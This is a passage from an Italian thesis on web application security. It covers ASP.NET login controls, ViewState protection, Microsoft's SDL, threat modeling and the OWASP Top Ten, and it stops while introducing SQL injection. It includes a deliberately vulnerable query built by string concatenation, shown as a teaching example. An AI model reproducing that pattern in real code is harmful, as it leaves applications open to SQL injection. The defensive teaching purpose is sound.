4) LoginView: esso fa da contenitore per altri controlli e mostra le informazioni circa lo stato
dell’utente collegato; inoltre informa se egli ha già effettuato il login, cioè se ha già eseguito
l’autenticazione. All’interno di questo controllo viene fatto un match tra l’identità dell’utente e
il ruolo che è specificato nella combo. Nel template (nella figura loggedInTemplate) viene
specificato cosa deve accadere (ad es. cosa visualizzare) con un utente anonimo e con uno
loggato; in questo secondo caso, in Talete, devono essere visualizzate tutte le pagine
(ModificaDati, CambiaOrganizzazione, etc.) mostrate in figura.
84

Mentre con AnomynousTemplate si ha:
CAPITOLO IV - La sicurezza nelle web applications
Figura 41 Controllo “LoginView”
Figura 42 Controllo “LoginView” in Talete: LoggedInTemplate
Figura 43 Controllo “LoginView”in Talete: AnonymousTemplate
85

CAPITOLO IV - La sicurezza nelle web applications
5) CreateUserWizard: è il controllo specifico per l’inserimento di un wizard nella pagina per
la registrazione di un nuovo utente. Raccoglie le informazioni minime necessarie alla creazione
(username, e-mail e password) e procede ad invocare il metodo CreateUser della classe
Membership, che a sua volta richiamerà lo stesso metodo offerto dal provider. Nel nostro caso
abbiamo:
• 4 label per inserire “Nome e Cognome”, “Indirizzo email”, “Password” e “Nome
utente”
• Un validatore nel caso l’username già esista
• Un bottone per generare l’evento
Figura 44 Controllo “CreateUserWizard”
6) ChangePassword e PasswordRecovery servono rispettivamente per cambiare la password
o recuperare la stessa. Il primo va ovviamente messo su una pagina riservata agli utenti
autenticati, laddove il secondo deve essere aperto a tutti. Nelle due figure sono mostrati l’uso
dei controlli in Talete:
86

CAPITOLO IV - La sicurezza nelle web applications
Figura 45 Controllo “ChangePassword”
Figura 46 Controllo “PasswordRecovery”
In questo modo è stata realizzata l’interfaccia per il Login con autenticazione di tipo
“Forms”. Questo tipo di autenticazione non esegue automaticamente il criptaggio delle
credenziali che vengono inserite; questa protezione sarà implementata per evitare
intercettazioni furtive.
La modalità si usa per applicazioni web a differenza della
che richiederebbe la creazione di un account utente su una
macchina Windows.
87

4.7 La sicurezza in Asp.NET: il ViewState
CAPITOLO IV - La sicurezza nelle web applications
Così come la Windows Form è il componente base di ogni applicazione per Windows, la Web
Form è il centro di un’applicazione Asp.NET. Scendendo nei dettagli dell’implementazione,
una Web Form è una pagina web in cui tutti gli elementi (testo, elenchi, pulsanti, caselle, ecc.)
sono inseriti all’interno di una normale form HTML, ovvero tra i tag e .
Quando la pagina viene caricata all’interno del browser, viene generato l’evento Page_Load.
Nel codice del delegato per Page_Load è possibile verificare se l’utente sta eseguendo il primo
accesso alla pagina oppure sta effettuando un PostBack. La tecnica del postback è quella che
consente ad una pagina Web di trasmettere a se stessa delle informazioni di stato. In pratica in
una pagina web dinamica viene creata una form che ha, come campo «action» l’indirizzo della
pagina stessa, ed al suo interno dei campi «hidden» che mantengono informazioni sullo stato
della pagina. Queste informazioni, una volta generato un evento "Submit" (che non
necessariamente scaturisce da un bottone), vengono "rispedite indietro" alla pagina che le usa
per modificare il suo aspetto.
Questa tecnica è abbastanza comune per chi programma in Asp o PHP, ma Asp.NET l’ha
integrata nel concetto di Web Form con il PostBack e il ViewState.
Osservando il sorgente di una pagina, ad esempio quella dei Concessionari,
(http://www.talete.net/Admin/Concessionari.aspx), notiamo che nella form è stato inserito
anche un campo nascosto di nome __VIEWSTATE, che può apparire nel modo seguente:
Il ViewState è una tabella associativa codificata che contiene lo stato degli oggetti presenti
nella form, ad esempio il testo inserito in una casella, oppure quali CheckBox sono state
selezionate. HTTP è un protocollo stateless (senza stato), ovvero non mantiene informazioni
sullo stato di una pagina tra una visita e l’altra: per sopperire a tale mancanza, Asp.NET
utilizza il campo ViewState. Ogni volta che si ricarica una pagina, i controlli in essa presenti
88

CAPITOLO IV - La sicurezza nelle web applications
(come ad esempio un submit per la form) vengono inizializzati sulla base del contenuto del
ViewState, che viene generato automaticamente da Asp.NET. Lo stato della pagina viene
mantenuto se si eseguono richieste consecutive della stessa pagina. Nel caso venga richiesta
una nuova pagina, il ViewState utilizzato sarà perso e sostituito da uno nuovo. Questa
soluzione consente di trasferire lo stato dei controlli dal server al client e viceversa; ciò
significa che quando il server leggerà il ViewState di una pagina sarà in grado di ripristinare, ad
esempio, il valore corrente di tutti i campi «input», senza bisogno che sia il programmatore a
farlo via codice. Trattandosi di una tabella associativa, inoltre, nel ViewState è possibile
inserire anche dei valori personalizzati.
Per mantenere le informazioni durante la navigazione, è possibile ricorrere all’oggetto Session.
Anch’esso si comporta come una tabella associativa e funziona esattamente come il ViewState;
tuttavia le variabili archiviate al suo interno non vengono cancellate quando l’utente passa da
una pagina a un’altra dell’applicazione, ma sono mantenute per tutta la "sessione" che inizia
quando un browser punta al nostro sito e finisce quando viene chiusa.
Le informazioni passate nel campo nascosto possono essere visualizzate nel sorgente HTML
della pagina, creando una potenziale problematica di sicurezza tale che, pur archiviando il dato
con encoding base64 ed in un formato hashed tramite una MAC (Machine Authentication
Code) key, lo stesso può essere alterato o intercettato da utenti malintenzionati, e quindi i dati
memorizzati nel ViewState posso essere facilmente decodificati
Visualizzando il ViewState all’interno di una pagina HTML è facile pensare che la stringa sia
crittografata, ma si tratta di una semplice codifica in Base 64; è possibile comunque attivare
due livelli di protezione per il ViewState:
1 A prova di alterazione: viene utilizzato un codice hash che consente di ridurre le
probabilità di spoofing sull’applicazione. In pratica si imposta a true, nella pagina aspx che si
intende proteggere, l’attributo EnableViewStateMAC:
89

CAPITOLO IV - La sicurezza nelle web applications
2 Crittografica: tutte le informazioni vengono crittografate utilizzando l’algoritmo
simmetrico Triple DES. In questo caso, oltre a impostare a “true” l’attributo
EnableViewStateMAC, si definisce il tipo di convalida machineKey a 3DES nel web.config:
In ogni caso è importante ricordare che, maggiore sarà il livello di protezione adottato, più
lungo sarà il tempo di elaborazione della pagina quindi, anche in questo caso, è necessario
utilizzare il ViewState con la dovuta cautela, ponderando sempre ogni singola scelta.
4.7.1 Il ViewState in Asp.NET 2.0
In Asp.NET 2.0, il meccanismo per il controllo e l’utilizzo della cifratura è stato espanso. I
settaggi di cifratura ora possono essere separatamente impostati per ogni pagina. Inoltre, i
controlli sulla pagina possono richiedere che la cifratura sia usata per il ViewState, ma anche
questa richiesta può essere “scavalcata” dai settaggi della pagina e quindi ignorata. Il tutto
grazie all’attributo ViewStateEncryptionMode che ha 3 valori: Auto che è quello di default,
Always, e Never.
• ViewStateEncryptionMode.Auto: in questo modo, Asp.NET cripterà il ViewState per
una pagina se un controllo nella pagina lo richiede.
• ViewStateEncryptionMode.Never: in questo modo Asp.NET non cripterà il
ViewState, anche se i controlli nella pagina l’hanno richiesto.
90

CAPITOLO IV - La sicurezza nelle web applications
• ViewStateEncryptionMode.Always: in questo modo, Asp.NET non aspetta la richiesta
di cifratura da parte di una pagina, ma il ViewState sarà sempre criptato; quest’ultima
opzione è fondamentale se si lavora con dati sensibili.
Il modo è una proprietà nella pagina:
Oppure si può impostare nel web.config:
Figura 47 Esempio d’uso del ViewStateEncryptionMode
Mentre, per scrivere un controllo customizzato che richiede la cifratura del ViewState si usa il
metodo della classe page chiamato RegisterRequiresViewStateEncryption:
Figura 48 Esempio d’uso del RegisterRequiresViewStateEncryption
91

CAPITOLO IV - La sicurezza nelle web applications
In Talete, poiché nel ViewState non sono presenti dati sensibili o comunque pericolosi se
vengono visualizzati, (ad esempio variabili contenenti id) è stato impostato l’attributo
ViewStateEncryptionMode ad Auto, in modo tale che se qualche controllo particolare lo
richiede, il ViewState della pagina in cui è presente quel controllo sarà criptato, altrimenti il
ViewState sarà codificato, come di default, in Base 64.
92

CAPITOLO V - La sicurezza nell’architettura di
un’applicazione
93

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
5.1 Architettura a più livelli di un’applicazione web
Quando si parla di sicurezza e la si ricerca in un’applicazione, il concetto da tener presente è
che “la sicurezza non è una feature, ma deve essere parte dell’architettura”.
Nel corso degli anni la più classica architettura client-server ha dimostrato tutti i suoi punti
deboli per scalabilità, tempi di down per manutenzione, potenza hardware necessaria e sul
fronte sicurezza le cose non vanno certamente meglio dato che si ha una maggiore superficie di
attacco. La prima e più semplice evoluzione è un’architettura multilivello che comporta almeno
la suddivisione in tre livelli logico-funzionali (applicazioni Three-Tier) che sono:
presentazione, logico e dati. Il primo strato, più esterno, viene gestito dal web server e si
occupa della presentazione dei dati, strutturandoli e formattandoli in una GUI tramite un
linguaggio interpretabile dal browser (o da un generico client), tipicamente html oppure xml.
Il layer logico è il vero nucleo dell’applicazione. In esso si concentra l’implementazione degli
algoritmi, sia quelli funzionali all’offerta del servizio, sia quelli accessori, come per esempio il
controllo di sicurezza. Capita, però, che questo strato sia talmente sottile da poterlo inglobare
nel presentation layer oppure, al contrario, sia così complesso da dover essere diviso in diverse
sezioni cooperanti fra loro che si occupano di compiti molto specifici.
L’ultimo strato, non meno importante, svolge la funzione di storing dei dati: database, file e
archivi.
Nella seguente figura è mostrata questo tipo di architettura:
94

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
Figura 49 Architettura a tre livelli
Le applicazioni possono essere distribuite anche su più layer (applicazioni Multi-Tier). La
strutturazione a più livelli, vincente per funzionalità, scalabilità, e un alto livello di
disaccoppiamento, tipico della più recente visione SOA (Service Oriented Architecture),
permette anche una gestione più semplice dell’intero ciclo di vita dell’applicazione oltre a poter
evolvere le versioni di ogni singolo layer separatamente, eventualmente gestite da team
differenti. Queste stesse motivazioni sono degli ottimi punti di partenza per costruire
un’architettura sicura.
5.2 L’SDL
La protezione è un requisito essenziale per i produttori di software, imposto dal mercato,
dall’esigenza di proteggere infrastrutture d’importanza critica e dalla necessità di creare e
95

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
preservare una fiducia diffusa nei sistemi informatici. Una sfida importante è riuscire a creare
applicativi più sicuri che richiedano meno patch di aggiornamento e attività di gestione della
protezione meno onerose.
Per l’industria del software, la possibilità di soddisfare la richiesta attuale di maggiore
sicurezza è legata all’adozione di processi ripetibili, in grado di garantire un miglioramento
misurabile della protezione, riducendo al minimo il numero di vulnerabilità ancora esistenti nel
progetto, nella codifica e nella documentazione, cercando di rilevare ed eliminare tali
vulnerabilità prima possibile durante il ciclo di vita dello sviluppo. La necessità di adottare un
processo di questo tipo riguarda in particolare i prodotti software aziendali e di consumo
presumibilmente destinati all’elaborazione di input ricevuti da Internet, al controllo di sistemi
critici esposti agli attacchi o all’elaborazione di dati personali; è in questo ambito che si colloca
anche Talete.
Vi sono tre aspetti alla base della creazione di software più sicuro: ripetibilità del processo,
formazione dei tecnici, criteri di misurazione e attendibilità. Una metodologia che può essere
d’aiuto in questo ambito è l’SDL, che comporta la modifica dei processi di sviluppo di prodotti
software adottati da un’organizzazione mediante l’integrazione di misure che assicurino una
migliore protezione del software. Microsoft ha creato l’SDL (Security Development Lifecycle),
che è un “metodo di sviluppo” non complicato ma sicuramente molto elaborato; esso
comprende un insieme di processi aventi lo scopo di diminuire le vulnerabilità di
un’architettura software. Le strategie pratiche per raggiungere lo scopo sono:
• lo sviluppo di un modello delle minacce (threat modeling)
• l’uso di strumenti di analisi statica del codice (cioè di lettura del codice con un tool per
trovare bug)
• l’uso di una metodologia chiamata “Security Push ” che coinvolge le revisioni tecniche del
codice e del test della nostra applicazione.
I benefici raggiunti grazie all’applicazione di SDL sono:
- minori vulnerabilità
- minor numero di patch abbattimento dei costi
96

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
Fondamentale in questa metodologia è la presenza di un “security advisor” (interno o
consulente, se esterno è meglio) che garantisce una visione oggettiva (tipo un consulente della
qualità per le ISO 9000) e globale su queste problematiche.
L’SDL si fonda su 3 aspetti:
- Secure By Design: architettura progettazione e implementazione devono essere pensati per
essere sicuri; include l’analisi delle minacce e l’identificazione di potenziali vulnerabilità
- Secure By Default: i componenti devono offrire la minore superficie d’attacco e gli account
degli utenti devono poter eseguire l’applicazione con privilegi minimi
- Secure in Deployment: bisogna assicurarsi che il sistema sia difendibile dopo l’installazione.
Se un prodotto non è facile da amministrare, sarà ancora più difficile da proteggere contro le
varie minacce che minano la sua sicurezza; inoltre si devono formare gli utenti affinché usino il
sistema in una maniera sicura.
Figura 50 I tre aspetti dell’SDL
97

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
Nella figura seguente possiamo vedere la cronologia di sviluppo protetto dei prodotti:
Figura 51 Cronologia dell’SDL
1 Dalla fase di design in poi, il threat modeling (presentato successivamente) è uno
strumento prezioso per identificare i difetti legati alla sicurezza.
2 Durante lo sviluppo, gli sviluppatori dovrebbero essere formati per riconoscere i
problemi comuni legati alla sicurezza e come programmare per evitarli; ci dovrebbe
essere un’attenzione particolare sulla sicurezza durante le revisioni del codice.
3 I piani di test devono considerare il testing della sicurezza come un elemento
fondamentale. I tester dovrebbero fare in modo di creare attacchi verso il software per
rilevare eventuali vulnerabilità.
4 Dopo la vendita del prodotto, ci deve essere un appropriato piano di risposta per le
nuove vulnerabilità che possono essere scoperte, con la creazione di patch per
eliminarle.
98

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
SDL fornisce numerosissime indicazioni per ogni ruolo del team di sviluppo. Per esempio
viene preferito l’uso di linguaggi strong-typed, tool di analisi statica del codice come Prefix,
PreFast e strumenti che eseguano test fornendo input non valido all’applicazione (fuzzing).
L’insieme delle attività di sicurezza che sono state stabilite per l’applicazione culminano prima
nel “security push”, il primo momento in cui l’applicazione è sufficientemente matura per
essere testata dal punto di vista della sicurezza, e successivamente nella “Final Security
Review”, momento nel quale si tirano le somme sui risultati che sono stati ottenuti
sottoponendo l’applicazione a specifici test di penetrazione e dove si è ancora in tempo per
reagire rapidamente eseguendo le modifiche necessarie.
A prescindere dall’applicare o meno in modo completo quanto viene indicato in SDL, i concetti
di base già esposti rimangono un punto di partenza fondamentale su cui costruire il modello
specifico dell’applicazione che si vuole progettare in sicurezza.
5.3 Il threat modeling
Un elemento fondamentale per creare un’architettura sicura è il threat modeling (modellazione
delle minacce), che permette di illustrare quali sono i possibili rischi a cui un’applicazione va
incontro; esso è un approccio pragmatico all’analisi delle minacce in una generica architettura
software, in quanto ogni sistema che espone un ingresso è soggetto ad attacchi.
In pratica, il modello delle minacce è quel processo che serve a:
1 trovare i punti d’ingresso del software
2 capire come possano essere sfruttati
3 valutare i possibili rimedi
99

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
4 adottare il rimedio che abbia un coefficiente di rischio accettabile (non ci sarà mai la
sicurezza al 100%;e i costi per mettere in sicurezza un componente potrebbero non
essere sostenibili, per questo è necessario un compromesso tra sicurezza e costo).
Figura 52 Elementi del “threat modeling”
Il threat modeling è un processo composto da 6 fasi:
1. Identificazione dell’Asset, cioè la risorsa a cui l’hacker vuole arrivare; in questa fase si
crea un elenco di risorse da proteggere, tra cui dati riservati (come database di clienti),
pagine web e altri componenti che, se danneggiati, impedirebbero il corretto
funzionamento dell’applicazione.
2. Creazione di una panoramica dell’architettura; si cerca di identificare cosa
l’applicazione deve fare creando un diagramma della sua architettura e identificando le
tecnologie da usare.
Figura 53 Threat Modeling: panoramica dell’architettura
100

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
3. Scomposizione dell’architettura e creazione di un profilo di protezione basato sulle
tradizionali aree di vulnerabilità, con 5 sottofasi:
Figura 54 Threat modeling: livelli dell’architettura
4. Identificazione del Threat, cioè della minaccia (che può essere alla rete, all’host o
all’applicazione) tramite la quale si vuole arrivare alla risorsa; è in questa fase che si ha
la creazione del team. Per l’identificazione delle minacce è stato usato un tool generico,
il “Threat Analisys and Modeling Tool”.
5. Documentazione delle minacce, con una struttura del genere, lasciando vuoto per il
momento il campo “Rischio”:
Descrizione della minaccia Inserimento di comandi SQL
Obiettivo della minaccia Componente di accesso ai dati
Rischio
Tecniche di attacco L’hacker aggiunge comandi SQL al nome
utente utilizzato per creare una query SQL
101

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
Contromisure Utilizzare un’espressione regolare per
convalidare il nome utente e una stored
procedure con parametri per accedere al
database
6. Classificazione delle minacce, per determinare quali sono le più pericolose; si usa la
seguente formula: Rischio = probabilità * potenziale del danno
Un modello per classificare le minacce potrebbe essere il modello DREAD:
- Discoverability (quanto è semplice scoprire la vulnerabilità? )
- Reproducibility (quanto è facile replicare l’attacco? )
- Exploitability (quanto è semplice compiere l’attacco? )
- Affected users (quanti utenti sono colpiti dall’attacco? )
- Damage potential (quanto danno provoca il successo di un attacco? )
oppure quello STRIDE:
- Spoofing (di IP, credenziali..)
- Tampering (alterazione dei dati, man in the middle)
- Repudiation (esecuzione di azioni senza poter provare la loro paternità)
- Information Disclosure (divulgazione delle informazioni)
- Denial of Service
- Elevation of Privilege (innalzamento dei privilegi)
Entrambi questi modelli, possono essere ricondotti a tre categorie, che sono quelle prese in
considerazione dal tool usato: Confidentiality, Integrity e Availability.
La teoria del Threat Modeling ha presentato, nel corso degli anni, due differenti prospettive di
modellazione. La prima in termini cronologici è data dal modello di “Swiderski / Snyder”, le
cui caratteristiche fondamentali sono:
102

1 porsi dalla prospettiva dell’attaccante
2 identificare il threat al target dell’hacker
CAPITOLO V - La sicurezza nell’architettura di un’applicazione
3 assumere che l’attacco c’è in quanto esiste una risorsa interessante (non considera il
‘vandalo’, che può essere ad esempio un virus che si diffonde all’interno di una lan).
Il nuovo modello è il TAM, il quale:
1. si pone dal punto di vista di chi difende e quindi ha il vantaggio di conoscere i dettagli del
sistema; in questo modo è possibile apprendere meglio le modalità con cui un hacker può
cercare di prendere il controllo del sistema
2. difende ciò che vale la pena difendere (quindi è meno complesso)
3. espande il lavoro di chi modella (che deve decidere cosa è giusto fare o non lo è in certi
casi) e quindi è pesante nello sviluppo delle calls /use-cases
Il modello usato in quest’esperienza è quest’ultimo, attraverso il tool creato da Microsoft.
5.4 “Microsoft Threat Analysis & Modeling Tool”
Non può esistere un tool che miracolosamente risolve il problema della sicurezza di una
applicazione. Fino ad ora sono stati descritti i punti essenziali per realizzare un’architettura che
semplifichi la creazione di un’applicazione più sicura. In questo processo sono emersi dati
tangibili che permettono di identificare con più facilità i punti di maggiore rischio. L’utilità di
uno strumento sta nel raccogliere le informazioni sulla struttura dell’applicazione, i punti
d’ingresso, i ruoli, i componenti e mettere in evidenza le possibili vulnerabilità così che
architetto e sviluppatori possano individuare subito i punti di attenzione. E questo è quanto è
103

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
stato realizzato da un gruppo di sviluppo chiamato ”Ace Team” che in Microsoft si occupa di
problemi riguardanti la sicurezza, le performance e la privacy.
Il “Microsoft Threat Analysis & Modeling Tool” è volutamente slegato dal sistema
operativo, dall’uso di specifici linguaggi, dall’utilizzo di codice nativo, dall’applicazione di
tutte le indicazioni di SDL e dall’uso di Visual Studio. Come dice il nome “threat modeling”,
quest’applicazione grafica permette di modellare le minacce che possono minare la sicurezza
della nostra applicazione, raccogliendo i dati che sono emersi durante la definizione
dell’architettura ed evoluti in fase di progettazione e sviluppo.
Nella fase iniziale il wizard di questo tool raccoglie i dati attraverso una serie di passi:
Figura 55 Threat Model Wizard
1. I ruoli applicativi: vengono immessi i nomi dei ruoli che ricoprono gli utenti che usano
l’applicazione; nel nostro caso abbiamo l’amministratore, l’utente autorizzato e l’utente
non autorizzato.
2. Le risorse (dati): si inseriscono tutte le tipologie di dati utilizzati dall’applicazione, siano
essi dati di un DB, file, ecc; nel nostro caso abbiamo customers, orders e products.
104

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
3. Matrice di Accesso: per ciascun ruolo si definisce quale tipo di accesso è possibile
eseguire sulle risorse. Per tipo di accesso si intendono le classiche operazioni di
creazione, lettura, modifica, cancellazione (CRUD).
4. Use Cases: questo passo permette di stabilire quale sia il tipico uso fatto dagli utenti per
accedere ai dati.
5. Componenti di sistema: vengono identificati i macroblocchi del sistema, che in Talete
sono il database, il web service, la web application e l’Asp.NET application
6. Rilevanze: sono dei punti di attenzione particolari come l’uso di codice nativo piuttosto
che di generazione di codice o ancora la costruzione di query SQL o LDAP.
7. Le chiamate: si identificano tutte le azioni che un utente, per esempio grazie
all’interfaccia utente, può eseguire con la nostra applicazione.
8. Le minacce: si stabiliscono quali siano le potenziali minacce che possono occorrere.
L’immissione dei dati non è certamente semplice ed è un lavoro molto lungo, che, però è
ripagato da una serie di report con tanto di grafici con gli “use cases” costruiti in modo
automatico grazie al motore di Visio.
Solo immettendo pochi dati, il tool ha automaticamente generato minacce di tipo
confidentiality, integrity e availability.
• Confidentiality:
Unauthorized disclosure of using by
Questa è una minaccia di tipo “confidentiality”, che rileva la possibilità di una diffusione non
autorizzata di notizie durante una CreateCustomer, cioè qualcuno potrebbe mettersi sulla linea
del TCP/IP e intercettare la creazione di un nuovo customer mentre sta avvenendo la
comunicazione col web service; ovviamente saremo noi a decidere se la comunicazione è
sicura o meno, e quindi se il rischio lo accettiamo o meno.
• Integrity:
Illegal execution of using by
105

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
Qualcuno potrebbe invalidare l’esecuzione della CreateCustomer da parte dell’utente
autorizzato che “usa” il web service, magari iniettando delle informazioni false.
• Availability:
Ineffective execution of using by
Qualcuno potrebbe aver creato un virus per eseguire dei DoS sulla CreateCustomer.
Successivamente nel tool è possibile impostare varie proprietà per ogni componente. Ad
esempio sui dati, oltre alla matrice di accesso, è possibile classificare il tipo di impatto che quel
dato ha; per i customers è stato scelto un High Business Impact PII. PII indica che sono dati
personali, mentre l’impatto elevato è dovuto al fatto che in Italia c’è il problema della privacy,
che deve essere rispettata. Per i products si ha un impatto medio, perché il catalogo dei prodotti
lo si conosce e quindi non ci sono molti segreti da custodire e proteggere. Per gli ordini è stato
impostato un impatto molto alto, ma non dati personali per cui la proprietà è stata impostata a
High Business Impact, e cosi via. Inoltre per ogni minaccia si possono specificare il rischio, la
probabilità che essa abbia successo recando danni al sistema, e la risposta, cioè se il rischio lo
si può accettare oppure no.
Nel report creato, è possibile vedere la matrice degli accessi, la generazione dei casi d’uso e le
contromisure per le vulnerabilità, per ogni caso d’uso:
106

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
Figura 56 Report del TAM: la matrice di accesso
Figura 57 Report del TAM: gli use case generati automaticamente
107

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
Figura 58 Report del TAM: le contromisure
Un’altra utilità dei report di questo tool, è la possibilità di mostrare delle best-practices che
suggeriscono le contromisure da adottare: nell’esempio in figura è stato mostrato come si usano
i parameters per evitare SQL injection oppure come avere un session ID random e sicuro.
108

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
Figura 59 Report del TAM: le best practices per evitare SQL Injection
5.5 Considerazioni sul threat modeling
Chi conosce il processo di certificazione di qualità del software avrà notato quanto il processo
programmatico di pianificazione della sicurezza vada nella stessa direzione di normative come
la ISO9001:2000. Lo stesso “Threat Analysis and Modeling Tool” va in questa direzione e i
109

CAPITOLO V - La sicurezza nell’architettura di un’applicazione
reports che vengono creati dal tool sono in perfetta sintonia con quelle normative, non solo per
la gestione della sicurezza ma per il progetto nella sua totalità.
Il vantaggio di un approccio programmatico è quello di poter definire dei parametri di
valutazione della sicurezza del software anche quando il suo processo di creazione sia
identificato artigianale e a maggior ragione quando sia industriale.
In fondo, la progettazione è solamente una parte del processo di creazione di un software
protetto. Supporto esecutivo, implementazione, test, creazione e consegna, nonché fornitura e
manutenzione giocano tutti un ruolo cruciale nella protezione finale del sistema. E ogni ruolo
deve essere giocato bene.
110

CAPITOLO VI - Gli attacchi e il progetto OWASP
111

CAPITOLO VI - Gli attacchi e il progetto OWASP
Al contrario del mondo reale, in quello virtuale la distanza non ha alcuna importanza e la
diffusione di Internet ha creato una sorta di enorme megalopoli che ci permette di vivere allo
stesso tempo in perfetta solitudine o in mezzo a una moltitudine. Parlando di sicurezza quindi,
nel mondo reale la distanza è un parametro fondamentale visto che la minaccia deve essere
fisicamente vicina. Lo stesso ovviamente non vale per il mondo virtuale dove chiunque è
soggetto a minacce che possono arrivare da qualsiasi parte della rete e perciò molto più
frequentemente. Nei paragrafi successivi sono descritte le varie tipologie di attacco che una
buona applicazione web dovrebbe respingere o limitare. Sul totale delle vulnerabilità segnalate,
una grossa percentuale è da attribuire a software sviluppati con tecnologie web. In figura
sono rappresentati la maggior parte degli attacchi considerando i 4 livelli relativi ad una web
applications:
Figura 60 Possibili attacchi sui 4 livelli di una web application
Dall’esigenza di contrastare le cause dei software insicuri su internet nasce OWASP (Open
Web Application Security Project): un progetto open source con l’obiettivo primario di trovare
e combattere le falle che affliggono le applicazioni web.
112

6.1 Progetto OWASP
CAPITOLO VI - Gli attacchi e il progetto OWASP
Il progetto Open Web Application Security Project (http://www.owasp.org) è stato creato per
aiutare le aziende e le organizzazioni a capire e migliorare la sicurezza delle loro applicazioni e
dei servizi web e grazie alla Top Ten è stato possibile focalizzare l’attenzione verso le
vulnerabilità più critiche.
Figura 61 Logo OWASP
La sicurezza delle applicazioni web è diventata un argomento fondamentale dal momento che,
moltissime aziende cercano di rendere disponibili in rete un numero sempre crescente di
contenuti e servizi (basti pensare a Talete che è un servizio di consulenza on-line). Nello stesso
tempo, gli hacker hanno rivolto l’attenzione verso gli errori di sviluppo comunemente inseriti
dagli sviluppatori.
Quando un’organizzazione pubblica mette a disposizione un servizio web è come se invitasse
tutto il mondo ad inviare richieste http. Gli attacchi contenuti all’interno di queste attraversano
firewalls, filtri, piattaforme di sicurezza e sistemi IDS senza lasciare traccia in quanto si
trovano all’interno di richieste http legittime. Con l’aumentare del numero di applicazioni web
all’interno del sistema aumenta anche il perimetro di esposizione.
Le problematiche riportate in questa lista non sono nuove. La maggior parte di esse è ben nota
da decenni. Purtroppo, per una serie di motivazioni, la maggior parte degli sviluppatori
continua ad inserire sempre gli stessi errori all’interno dei programmi, mettendo a rischio non
solo la sicurezza dei propri clienti, ma anche la sicurezza di tutta Internet. Non esiste una
panacea per risolvere tutti questi problemi; oggi l’analisi e le tecnologie di protezione stanno
migliorando, ma solitamente si riesce al massimo ad affrontare solo un set minimo di
problematiche.
Il documento analizzato è la “OWASP Top Ten 2.0”, che comprende una lista di
vulnerabilità che richiedono un intervento immediato. Eventuale codice esistente dovrebbe
essere immediatamente controllato in quanto questi errori vengono sfruttati puntualmente dagli
hacker. I progetti in fase di sviluppo dovrebbero includere nei documenti di requisiti, di
113

CAPITOLO VI - Gli attacchi e il progetto OWASP
progettazione e di test dei riferimenti a queste criticità per verificarne l’assenza all’interno del
software. I project manager dovrebbero includere all’interno della pianificazione preventivata
un intervallo di tempo e del budget per le attività di sicurezza applicativa. Dovrebbero tener
conto anche del training per gli sviluppatori, della creazione di policy di sicurezza applicativa,
di prevedere dei meccanismi di sicurezza, dei penetration test e delle fasi di revisione del
codice.
Bisogna incoraggiare le aziende che sviluppano software ad adottare la OWASP Top Ten
come standard base di sicurezza e ad impegnarsi nel produrre applicazioni Web esenti da tali
vulnerabilità.
In questa tesi è stata fatta una panoramica delle dieci vulnerabilità più critiche, seguita da
un’attenta analisi della nostra applicazione alla ricerca di bug o falle da correggere mettendo in
evidenza che la maggior parte delle precauzioni, come l’esempio dei parameters nelle query,
sono state già applicate alla scrittura del codice di Talete.
6.2 Unvalidated input
Rientrano sotto la categoria “unvalidated input” tutti i problemi legati alla mancanza di
validazione dell’input o alla validazione parziale. L’interazione dell’utente con l’applicazione
avviene attraverso uno scambio di messaggi, secondo il protocollo HTTP, che può essere
semplicemente descritto attraverso lo schema sottostante:
114

CAPITOLO VI - Gli attacchi e il progetto OWASP
Figura 62 Protocollo HTTP
Un utente, e quindi anche un potenziale aggressore, può modificare in parte o completamente la
richiesta inoltrata verso il Server Web, plasmando a piacere il contenuto di tali parametri. La
possibilità di editare le variabili nell’header HTTP, il valore dei campi ritornati da una form, e
così via, apre l’enorme problematica legata alla validazione dei parametri che l’applicazione,
sul server, potrà accettare. In questo contesto è importante ricordare che non ci si deve mai
affidare a soluzioni di verifica dei parametri con controlli "lato client" (per esempio tramite
JavaScript) in quanto il codice stesso è manipolabile dall’aggressore che potrebbe bypassare il
controllo, semplicemente salvando in locale la pagina e modificando il sorgente.
I parametri da controllare in fase di validazione sono:
- Il tipo di dato (string, integer, real, ecc…)
- Il set di caratteri consentito
- La lunghezza minima e massima
- Controllare se è permesso il tipo NULL
- Controllare se il parametro è richiesto o meno
- Controllare se sono permessi i duplicati
- Intervallo numerico
- Specificare i valori ammessi (numerazione)
- Specificare i pattern (espressioni regolari)
Il modo migliore per proteggersi da questo tipo di attacchi è quindi quello di assicurarsi che i
parametri in input siano resi sicuri prima che siano effettivamente utilizzati all’interno
dell’applicazione. Le migliori soluzioni si basano sulle cosiddette whitelist ovvero delle liste in
115

CAPITOLO VI - Gli attacchi e il progetto OWASP
cui specificare tutto quello che l’applicazione può accettare; questa tecnica differisce dalla
duale blacklist, in cui invece viene specificato tutto quello che non deve essere accettato. Per
valori "non ammissibili" intendiamo degli input che possono generare errori anche a livello
funzionale oltre che strettamente legati alla sicurezza.
La prima soluzione è sicuramente preferibile in quanto spesso non è possibile definire in
maniera precisa cosa scartare; a questo si aggiunge la naturale evoluzione del software che
subisce periodicamente modifiche e reingegnerizzazioni. Nel caso in cui il controllo sui valori
in ingresso non sia ben implementato, si correrà il rischio di esporre l’applicazione ad una serie
di attacchi noti che vanno dal classico SQL injection, al cross site scripting, buffer overflow,
format string, e così via.
6.2.1 SQL Injection
SQL Injection consiste in un attacco informatico che sfrutta la cattiva abitudine di concatenare
le stringhe destinate ad un database server. La concatenazione delle stringhe SQL viene
solitamente associata a problemi di sicurezza, ma affligge anche performance e provoca subdoli
errori di runtime in relazione ai separatori numerici e delle date.
Prendiamo ad esempio la seguente stringa che verrà eseguita come query su un database:
"select * from users where name like ‘ " + TextBox1.Text + "%’ "
Un utente del web che dovesse cercare "Angelo" causerebbe l’esecuzione della query:
